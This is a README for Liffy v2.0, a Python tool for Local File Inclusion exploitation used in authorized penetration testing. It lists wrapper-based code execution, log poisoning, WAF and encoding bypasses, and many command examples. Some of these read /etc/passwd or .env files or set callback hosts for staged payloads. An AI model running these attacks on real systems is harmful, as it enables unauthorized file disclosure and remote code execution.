Advanced LFI Exploitation Tool

liffy in action

A powerful Python tool for Local File Inclusion (LFI) exploitation with advanced features including WAF bypass, encoding techniques, and comprehensive vulnerability detection.

Liffy v2.0 is the significantly enhanced version of liffy which was originally created by rotlogix/liffy. This version includes modern features like Rich terminal output, YAML configuration, enhanced threading, and multiple advanced exploitation techniques.

⚠️ Lot of new changes were vibe coded.

Features
Installation
Usage
Configuration
Advanced Techniques
Examples
Contribution
Credits

Features

Core LFI Techniques

data:// - Code execution via data wrapper
expect:// - Code execution via expect wrapper
input:// - Code execution via input wrapper
filter:// - Arbitrary file reads via filter wrapper
/proc/self/environ - Code execution in CGI mode
Apache access.log poisoning - Log file exploitation
Linux auth.log SSH poisoning - SSH log exploitation
Null Byte Poisoning - Legacy PHP null byte attacks
ZIP wrapper exploitation - ZIP file inclusion attacks
Wrapper detection - Safe probes for common LFI stream wrappers
Out-of-band probes - Callback payloads for blind wrapper/SSRF-style behavior
Blind LFI checks - Response-difference probes when file contents are not reflected
Auto scan mode - Safe detection-first scan plan across traversal, wrappers, and blind checks

Advanced Features

WAF Evasion - Multiple bypass techniques for common WAFs
Advanced Encoding - Double URL encoding, Unicode, case variations
POST Request Support - Full POST method support with custom data
Custom Headers - Configurable HTTP headers
User-Agent Rotation - Randomized user agents to avoid detection
Rate Limiting - Configurable request throttling
Multi-threading - Enhanced thread pool management
Detection Mode - Vulnerability scanning without exploitation
Rich Terminal Output - Beautiful colored output with progress bars
YAML Configuration - Persistent settings management

Modern Enhancements

Enhanced Vulnerability Detection - Advanced response analysis with confidence scoring
Thread Pool Management - Optimized performance with adaptive threading
Configuration Management - YAML-based settings with CLI overrides
Comprehensive Logging - Detailed execution reports and progress tracking

Installation

Make sure you are using Python 3. Liffy doesn't support Python 2. The examples below use uv run python so commands run inside the project environment.

# Install uv if you haven't already
curl -LsSf https://astral.sh/uv/install.sh | sh

# Clone the repository
git clone https://github.com/mzfr/liffy
cd liffy

# Create virtual environment with uv
uv venv

# Install dependencies from pyproject.toml
uv sync

# Run liffy
uv run python liffy.py --help

Usage

Basic Syntax

uv run python liffy.py <URL> [OPTIONS]

Command Line Options

usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
                [-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
                [--detection] [--null-byte] [--zip] [--encoding]
                [--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
                [--headers HEADERS] [--lhost LHOST] [--lport LPORT]
                [--read-file READ_FILE] [-y] [--timeout TIMEOUT]
                [--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
                [--oob] [--oob-url OOB_URL] [--blind] [--auto]
                [--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
                [--quiet] [--no-color] [--no-banner] [--config]
                [url]

positional arguments:
  url                   URL to test for LFI

Core Techniques:
  -d, --data            Use data:// technique
  -i, --input           Use input:// technique
  -e, --expect          Use expect:// technique
  -f, --filter          Use filter:// technique
  -p, --proc            Use /proc/self/environ technique
  -a, --access          Apache access logs technique
  --ssh                 SSH auth log poisoning
  -dt, --directorytraverse  Test for Directory Traversal
  --null-byte           Test for Null Byte Poisoning
  --zip                 Test for ZIP wrapper exploitation
  --wrappers, --wrapper Detect common LFI stream wrappers
  --wrapper-list WRAPPER_LIST
                        Path to custom wrapper probe payload list
  --oob                 Send out-of-band callback probes
  --oob-url OOB_URL     OOB callback base URL
  --blind               Run blind LFI response-difference checks
  --blind-list BLIND_LIST
                        Path to custom blind LFI probe list
  --auto                Run a safe automatic scan plan

Advanced Options:
  --encoding            Use advanced encoding/bypass techniques
  --waf-bypass          Use WAF evasion techniques
  --method {GET,POST}   HTTP method to use (default: GET)
  --post-data POST_DATA POST data (format: key=value&key2=value2)
  --headers HEADERS     Custom headers (format: Header1:Value1,Header2:Value2)
  --detection           Only perform LFI detection, no exploitation

Request Options:
  --timeout TIMEOUT     HTTP request timeout in seconds
  --proxy PROXY         HTTP(S) proxy URL, e.g. http://127.0.0.1:8080
  --verify-tls          Verify TLS certificates instead of using insecure requests
  --user-agent UA       Custom User-Agent header
  --delay DELAY         Delay between requests in seconds
  --retries RETRIES     HTTP retries per request

Automation Options:
  --lhost LHOST         Callback host for staged payloads
  --lport LPORT         Callback port for staged payloads
  --read-file PATH      File path to read with filter://
  -y, --yes             Use defaults for prompts and run non-interactively
  --json                Print a JSON run summary
  --output OUTPUT       Write JSON run summary to a file
  --quiet               Suppress normal terminal output

General Options:
  -ns, --nostager       Execute payload directly, do not use stager
  -r, --relative        Use path traversal sequences for attack
  -l, --location LOCATION  Path to target file (access log, auth log, etc.)
  --cookies COOKIES     Session cookies for authentication
  -t, --threads THREADS Number of threads to use (default: 5)
  --no-color            Disable colored output
  --no-banner           Disable banner display
  --config              Create default YAML configuration file

Configuration

YAML Configuration

Create a configuration file for persistent settings:

uv run python liffy.py --config

This creates liffy_config.yaml with default settings:

# Liffy Configuration File
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0

Set disable_banner: true to hide the startup banner/logo by default. CLI flags still override config values, so you can also use --no-banner, --no-color, or --quiet for one-off runs.

Environment Variables

You can also use environment variables:

LIFFY_THREADS - Number of threads
LIFFY_RATE_LIMIT - Rate limit delay
LIFFY_NO_COLOR - Disable colors (true/false)

Advanced Techniques

WAF Bypass Techniques

When --waf-bypass is enabled, liffy automatically applies multiple evasion techniques:

Comment Injection: /**/, #, ;
Protocol Confusion: file:///, pHp://
Encoding Layering: Multiple encoding combinations
Path Obfuscation: ./, ../, null bytes

Encoding Bypass Techniques

With --encoding, liffy applies advanced encoding methods:

Double URL Encoding: %252e%252e%252f
Unicode Encoding: \u002e\u002e\u002f
Mixed Case: ..%2F, ..%2f
HTML Entity Encoding: ../

POST Request Support

# POST with form data
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"

# POST with custom headers
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"

Request Tuning

# Send traffic through a local proxy and retry transient failures
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
  --proxy "http://127.0.0.1:8080" --timeout 20 --retries 2

# Use a fixed User-Agent and custom request delay
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
  --user-agent "liffy/2.0" --delay 0.5

Examples

Basic LFI Testing

Test with data:// wrapper

uv run python liffy.py "http://example.com/page.php?file=" -d

Test with multiple techniques

uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f

Detection mode only

uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e

Advanced Usage

WAF bypass with encoding

uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding

Multi-threaded with rate limiting

uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config

POST request with custom headers

uv run python liffy.py "http://example.com/upload.php" -d --method POST \
  --post-data "action=read&file=../../etc/passwd" \
  --headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"

Log Poisoning

Apache access log poisoning

uv run python liffy.py "http://example.com/page.php?file=" -a

SSH auth log poisoning

uv run python liffy.py "http://example.com/page.php?file=" --ssh

Custom log location

uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"

Directory Traversal

Relative path traversal

uv run python liffy.py "http://example.com/page.php?file=" -d -r

Directory traversal testing

uv run python liffy.py "http://example.com/page.php?file=" -dt

Special Techniques

Null byte poisoning (legacy PHP)

uv run python liffy.py "http://example.com/page.php?file=" --null-byte

ZIP wrapper exploitation

uv run python liffy.py "http://example.com/page.php?file=" --zip

Common wrapper detection

uv run python liffy.py "http://example.com/page.php?file=" --wrappers

Wrapper detection uses safe default probes for file://, php://filter, data://, php://temp, php://memory, and related wrappers. zip://, phar://, and glob:// are treated as informational/conditional because they usually require target-side files or sink behavior that exposes listings.

You can provide a custom wrapper payload list. If --wrapper-list is omitted, liffy falls back to the built-in probes:

uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
  --wrapper-list payload_wordlists/wrappers.txt

Each non-empty line can be either a raw payload or name=payload:

php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini

Out-of-band callback probes

uv run python liffy.py "http://example.com/page.php?file=" --oob \
  --oob-url "https://example.oast.site"

Use this with an HTTP/DNS callback listener. Liffy sends URL-wrapper style payloads and you verify whether the target calls back.

uv run python liffy.py "http://example.com/page.php?file=" --blind

Blind checks compare existing-file probes against random missing-file baselines and report status, length, or timing differences when content is not directly reflected.

You can provide a custom blind probe list. If --blind-list is omitted or empty, liffy uses built-in probes:

uv run python liffy.py "http://example.com/page.php?file=" --blind \
  --blind-list payload_wordlists/blind_lfi.txt

Each non-empty line can be either a raw payload or name=payload:

linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env

Safe automatic scan

uv run python liffy.py "http://example.com/page.php?file=" --auto

--auto enables detection-only directory traversal, wrapper checks, and blind checks. If --oob-url is also provided, it includes OOB probes.

Comprehensive scan with all techniques

uv run python liffy.py "http://example.com/page.php?file=" \
  -d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
  --encoding --waf-bypass --detection

Authentication & Cookies

Using session cookies

uv run python liffy.py "http://example.com/page.php?file=" -d \
  --cookies "PHPSESSID=abc123; auth_token=xyz789"

Scripted / Non-interactive Usage

Provide callback values without prompts

uv run python liffy.py "http://example.com/page.php?file=" -d \
  --lhost 10.10.14.2 --lport 4444 --yes

Read a specific file with filter:// without prompting

uv run python liffy.py "http://example.com/page.php?file=" -f \
  --read-file /etc/passwd --yes

Structured Output

Print a JSON run summary

uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json

Write a JSON summary to disk while keeping terminal output

uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
  --output findings.json

Output Control

uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner

Suppress normal terminal output

uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json

Default File Locations

The following default locations are used when no custom path is specified:

SSH auth.log: /var/log/auth.log
Apache access.log: /var/log/apache2/access.log
Alternative Apache log: /var/log/httpd/access_log

Contribution

We welcome contributions! Here's how you can help:

Feature Suggestions

New LFI exploitation techniques
Additional WAF bypass methods
Enhanced encoding techniques
Payload optimization
Detection improvements

Bug Reports

Report issues via GitHub Issues
Include detailed reproduction steps
Provide target environment details

Pull Requests

Fork the repository
Create a feature branch
Make your changes with tests
Submit a pull request

Feel free to open an issue for any questions or suggestions!

Vulnerability Detection

Liffy's detection mode provides comprehensive vulnerability analysis:

Confidence Scoring

High Confidence (80-100%): Strong indicators like /etc/passwd content
Medium Confidence (50-79%): Partial file content or suspicious responses
Low Confidence (20-49%): Potential indicators requiring manual verification

Detection Features

File Content Analysis: Recognizes Linux, Windows, and PHP file patterns
Response Analysis: HTTP status codes, content length, timing analysis
WAF Detection: Identifies common WAF signatures
Evidence Collection: Captures proof of vulnerability for reporting

Sample Detection Output

[+] VULNERABILITY SUMMARY
==================================================
[1] Vulnerability Found
    Payload: ../../etc/passwd
    Confidence: 85%
    Evidence: Linux /etc/passwd file: root:
    Status Code: 200
    Content Length: 1547

Troubleshooting

Common Issues

WAF Blocking Requests

# Use WAF bypass techniques
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass

# Reduce thread count and increase delays
uv run python liffy.py "http://target.com/lfi.php" -d -t 1

Rate Limiting Issues

# Increase delay in config file
max_threads: 2
rate_limit_delay: 1.0

Debug Mode

For verbose output, you can modify the configuration:

debug_mode: true
verbose_output: true

Security Notice

Liffy is designed for authorized security testing only.

Only use on systems you own or have explicit permission to test
Follow responsible disclosure practices
Respect rate limits and avoid DoS conditions
Be aware of legal implications in your jurisdiction

The authors are not responsible for misuse of this tool.

Credits

Original Inspiration

Original liffy by hvqzao
Initial concept from rotlogix/liffy

Techniques and Research

LFI exploitation techniques from various security research
WAF bypass methods from public security resources
PHP wrapper exploitation documentation

Design and Assets

Logo design from renderforest
Terminal styling using Rich library

License

This project is licensed under the GNU General Public License v3.0 - see the LICENSE file for details.

liffy

Most Popular